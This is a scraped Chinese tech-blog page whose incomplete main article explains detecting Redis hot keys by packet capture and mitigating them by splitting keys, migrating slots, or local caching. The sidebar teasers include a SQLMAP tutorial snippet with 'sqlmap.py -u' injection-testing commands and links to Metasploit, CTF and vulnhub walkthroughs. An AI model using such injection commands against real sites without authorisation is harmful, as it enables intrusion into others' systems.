redis客戶端使用TCP協議和服務端進行互動,通信協議采用的是RESP,站在機器的角度,可以對redis上的TCP資料包進行抓取然后決議完成熱點key的統計,

此種方法對于Redis客戶端和服務端來說毫無侵入,是比較完美的方案,但是依然存在兩個問題:

  • 需要一定的開發成本,但是一些開源方案實作了該功能,例如ELK(ElasticSearch Logstash Kibana)體系下的packetbeat [2] 插件,可以實作對Redis、MySQL等眾多主流服務的資料包抓取、分析、報表展示,
  • ·由于是以機器為單位進行統計,要想了解一個集群的熱點key,需要進行后期匯總,

例如https://blog.csdn.net/weixin_39622568/article/details/110987925

下面對于這四種方案做簡單總結:

那么發現完熱點key,怎么去解決熱點key的問題?
1)拆分復雜資料結構:如果當前key的型別是一個二級資料結構,例如哈希型別,如果該哈希元素個數較多,可以考慮將當前hash進行拆分,這樣該熱點key可以拆分為若干個新的key分布到不同Redis節點上,從而減輕壓力,
2)遷移熱點key:以Redis Cluster為例,可以將熱點key所在的slot單獨遷移到一個新的Redis節點上,但此操作會增加運維成本,
3)本地快取加通知機制:可以將熱點key放在業務端的本地快取中,因為是在業務端的本地記憶體中,處理能力要高出Redis數十倍,但當資料更新時,此種模式會造成各個業務端和Redis資料不一致,通常會使用發布訂閱機制或者訊息中間件來解決類似的資料不一致問題,

五種資料結構底層實作,限流、lru、布隆過濾器、資料一致性、多路復用IO模型、零拷貝、分布式鎖

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/293275.html

標籤:其他

上一篇:Pytorch CIFAR10影像分類 ResNet篇

下一篇:運維自動化之---ansilbe運維自動化和ansible架構介紹(1)

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more